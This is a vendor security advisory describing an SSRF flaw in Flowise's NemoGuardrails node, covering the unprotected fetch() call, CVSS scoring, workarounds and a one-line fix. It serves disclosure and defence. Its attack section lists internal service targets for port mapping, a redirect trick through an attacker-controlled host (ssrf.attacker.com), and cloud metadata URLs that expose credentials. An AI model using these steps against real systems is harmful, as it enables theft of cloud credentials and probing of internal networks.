All posts
ADVISORY GHSA-hr6j-wm6h-v727 ↗ · June 2026 · Offgrid Security

One fetch() Outside the Safe Wrapper: SSRF in Flowise’s NemoGuardrails Node

Flowise built a comprehensive SSRF protection module — DNS pre-resolution, private-IP blocking, redirect-chain validation — and applied it consistently across its codebase. The ChatNemoGuardrails node makes its outbound HTTP call with bare fetch(). One authenticated user, one crafted baseUrl, full access to internal network resources and cloud metadata. GHSA-hr6j-wm6h-v727 | Moderate.

No patched release available as of this writing. Flowise confirmed the finding and a fix has been merged into the main branch, but a patched release has not yet shipped. The fix is expected in the next Flowise release. Apply the workarounds below until a patched version is available.
DateJune 27, 2026
CVEPending assignment
AdvisoryGHSA-hr6j-wm6h-v727 ↗
Packageflowise, flowise-components (npm)
Affected≤ 3.1.3
Fixed inFix merged, release pending
SeverityModerate
TypeServer-Side Request Forgery (CWE-918)
AuthChatflow creation or edit permissions
Found byKira, Offgrid Security (infycore)

Kira was pointed at the Flowise repository. It read the codebase, found the SSRF protection module, traced every outbound HTTP call to check which ones used it and which ones did not, and found that NemoClient.ts was the exception. Everything else in the codebase routes outbound requests through a hardened wrapper. This one node calls bare fetch() with a URL it takes directly from user input.

The pattern is familiar: a team builds good security infrastructure, applies it carefully to the features they’re working on at the time, and leaves a residue of older or newer components that weren’t part of the original scope. Finding that residue requires explicitly auditing every outbound HTTP call against the set of protected callers. It’s the kind of cross-file check that doesn’t happen in a normal code review.

What Flowise Built

Flowise maintains a dedicated SSRF protection module at packages/components/src/httpSecurity.ts. It exposes two drop-in replacements for standard HTTP clients: secureAxiosRequest() and secureFetch(). What they do:

This is thorough, well-implemented protection. It is used throughout the Flowise codebase for components that make outbound HTTP calls to user-influenced URLs: tool nodes, API integrations, webhook handlers.

The NemoGuardrails component does not use it.

The Vulnerable Code

The ChatNemoGuardrails component wraps NVIDIA’s NeMo Guardrails service, which runs as a separate HTTP server. The component takes a baseUrl field from the user, stores it in the node configuration, and passes it to NemoClient.

In ChatNemoGuardrails.ts, the init() method reads the URL directly from node input with no validation:

// packages/components/nodes/chatmodels/ChatNemoGuardrails/ChatNemoGuardrails.ts
async init(nodeData: INodeData): Promise<any> {
    const baseUrl = nodeData.inputs?.baseUrl   // raw user-controlled string
    const obj: Partial<ChatNemoGuardrailsInput> = {
        configurationId: configurationId,
        baseUrl: baseUrl                       // passed through unchanged
    }
    const model = new ChatNemoGuardrailsModel({ id: nodeData.id, fields: obj })
    // ...

The input is declared as type: 'string', optional: false. No pattern attribute, no allowlist, no server-side validation beyond requiring the field to be present.

In NemoClient.ts, the URL reaches the HTTP sink unchanged:

// packages/components/nodes/chatmodels/ChatNemoGuardrails/NemoClient.ts, line 66
return await fetch(`${this.config.baseUrl}/v1/chat/completions`, requestOptions)
//             ^^^^ bare fetch() — bypasses all SSRF controls in httpSecurity.ts
The fix is a one-line change. Replace fetch( with secureFetch( from the existing httpSecurity.ts module. No new security logic is required; the infrastructure already exists.

Two Attack Paths

Path 1 — Internal network enumeration

An authenticated user creates or edits a chatflow, adds a NemoGuardrails node, and sets baseUrl to an internal address. When a prediction is triggered, the Flowise server attempts:

POST http://<internal-host>:<port>/v1/chat/completions

The error response observable via the chatflow API distinguishes port states with precision:

Observed behaviourInterpretation
Connection timeoutPort filtered; no response from host
Connection refusedPort closed; TCP RST received
HTTP response (any status)Port open; HTTP service present
HTTP 404 / 405Port open; wrong path or method for this service

Useful internal targets:

http://10.0.0.1:6379      # Redis — unauthenticated access in many deployments
http://10.0.0.1:5432      # PostgreSQL
http://10.0.0.1:27017     # MongoDB
http://192.168.1.1:80     # Internal admin interface
http://localhost:11434     # Ollama API (common in Flowise deployments)
http://localhost:8080      # Internal services

Each register-and-trigger cycle maps one port. Building a service map of the Flowise server’s internal network requires only an authenticated account and patience.

Path 2 — Cloud credential exfiltration via redirect chain

Node’s built-in fetch() follows HTTP redirects automatically. It does not re-validate the destination URL at each hop. An attacker can exploit this to reach cloud instance metadata services that would otherwise be inaccessible from the public internet.

Setup: Stand up any HTTP server controlled by the attacker that returns:

HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Attack sequence:

# Step 1: Create a chatflow with a NemoGuardrails node.
# Set baseUrl to the attacker-controlled redirect server.

# Step 2: Trigger a prediction.
curl -X POST https://flowise.target.com/api/v1/prediction/<chatflow-id> \
  -H "Content-Type: application/json" \
  -d '{"question": "hello"}'

# What happens on the Flowise server:
# 1. POST http://ssrf.attacker.com/v1/chat/completions
# 2. ← HTTP 302, Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 3. GET  http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 4. ← HTTP 200, body: IAM role name
# 5. GET  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# 6. ← HTTP 200, body: AccessKeyId, SecretAccessKey, Token

The credentials appear in the error or response body surfaced to the attacker via the chatflow API. The same technique applies to other cloud metadata endpoints:

CloudMetadata endpointData exposed
AWS EC2169.254.169.254/latest/meta-data/iam/security-credentials/IAM role credentials (AccessKeyId, SecretAccessKey, Token)
GCPmetadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenOAuth2 access token for the service account
Azure169.254.169.254/metadata/identity/oauth2/tokenManaged identity access token
On a cloud-hosted Flowise deployment with IMDSv1 enabled, Path 2 produces temporary cloud credentials with the permissions of the Flowise host’s IAM role. If that role has broad permissions — common in single-tenant deployments — the blast radius extends well beyond Flowise itself.

Why the Safe Wrapper Wasn’t Used

This is the part worth understanding for anyone maintaining a codebase with security-sensitive infrastructure.

The Flowise team clearly thought about SSRF. They built httpSecurity.ts, which is good engineering. They applied it consistently to the components they were working on when the module was introduced. The NemoGuardrails component is a newer addition to the ecosystem, added to support NVIDIA’s guardrails service. It’s plausible that the component was written without awareness of the SSRF protection module, or that the module was added after this component was already in place, or simply that the review process didn’t catch the callsite.

None of these explanations involve negligence. They are the normal mechanics by which security controls have gaps. A codebase-wide audit that enumerates every outbound HTTP call and checks whether it routes through the secure wrapper would have caught this. That audit doesn’t happen automatically, and it’s the kind of thing that has to be run explicitly and periodically rather than assumed from a one-time review.

Kira found it by reading both sides: the places where secureFetch() was used, and the places where outbound HTTP calls happened without it. The delta was one callsite. That callsite was NemoClient.ts.


CVSS Breakdown

MetricValueRationale
Attack VectorNetworkChatflow API accessible remotely
Attack ComplexityLowSet baseUrl, trigger prediction, read error
Privileges RequiredLowChatflow creation or edit permissions (any non-guest user)
User InteractionNoneFully attacker-driven once authenticated
ScopeChangedReaches internal network from Flowise server’s perspective
ConfidentialityLow to HighPort state and errors (low); cloud credentials via redirect chain (high)
IntegrityLowPOST requests reachable against internal services
AvailabilityNoneNo denial of service impact

The Moderate classification reflects the authentication requirement. Exploitation requires an account with chatflow creation or edit permissions. In a single-user or trusted-team deployment that may be an acceptable risk posture; in a multi-tenant Flowise deployment or a SaaS environment where non-admin users can create chatflows, any authenticated user is a potential attacker.


Workarounds

No patched release is available as of this writing. The Flowise team confirmed the finding, and a fix has been merged into the main branch. Until a patched release ships:

  1. Restrict chatflow creation and edit permissions. The attack requires an authenticated user who can create or modify chatflows. Limiting this permission to a small set of trusted administrators reduces the attack surface to the population of users who already have significant trust.
  2. Deploy an egress firewall. Block outbound connections from the Flowise host to RFC 1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback, and link-local addresses (169.254.0.0/16). This prevents the SSRF from reaching internal network resources or cloud metadata services regardless of what URL is supplied.
  3. Enable IMDSv2 on cloud instances. IMDSv2 requires a session-oriented PUT request with a specific header before returning credentials. A simple 302 redirect to the IMDS endpoint cannot satisfy this requirement, which defeats Path 2. Enabling IMDSv2 is a worthwhile hardening step regardless of Flowise.
  4. Monitor egress traffic from the Flowise host. Connections from the application host to internal network ranges or to 169.254.x.x addresses are anomalous and should be alerting.
When the patched release ships: Upgrade to the first Flowise release after 3.1.3 that includes the NemoClient.ts fix. The patch replaces the bare fetch() call with secureFetch() from httpSecurity.ts, applying all existing SSRF protections to NemoGuardrails outbound requests. No configuration change is required after upgrading.

The Fix

For reference: the complete fix is a one-line change in NemoClient.ts and a corresponding import statement.

// packages/components/nodes/chatmodels/ChatNemoGuardrails/NemoClient.ts

+ import { secureFetch } from '../../../src/httpSecurity'

  // Line 66 — before:
- return await fetch(`${this.config.baseUrl}/v1/chat/completions`, requestOptions)

  // After:
+ return await secureFetch(`${this.config.baseUrl}/v1/chat/completions`, requestOptions)

secureFetch() is a drop-in replacement for fetch() with the same interface. It handles DNS resolution, private-IP blocking, redirect-chain validation, and IP pinning internally. The caller does not need to change anything else.


Key takeaways

References

Kira finds security vulnerabilities across web applications, APIs, and infrastructure from injection flaws and exposed secrets to misconfigurations and business logic issues. Try it on your own codebase ↗

See what Kira finds in your stack.

Kira runs autonomously on your codebase and delivers verified, exploitable findings with proof. Not alerts. Not maybes.

Get started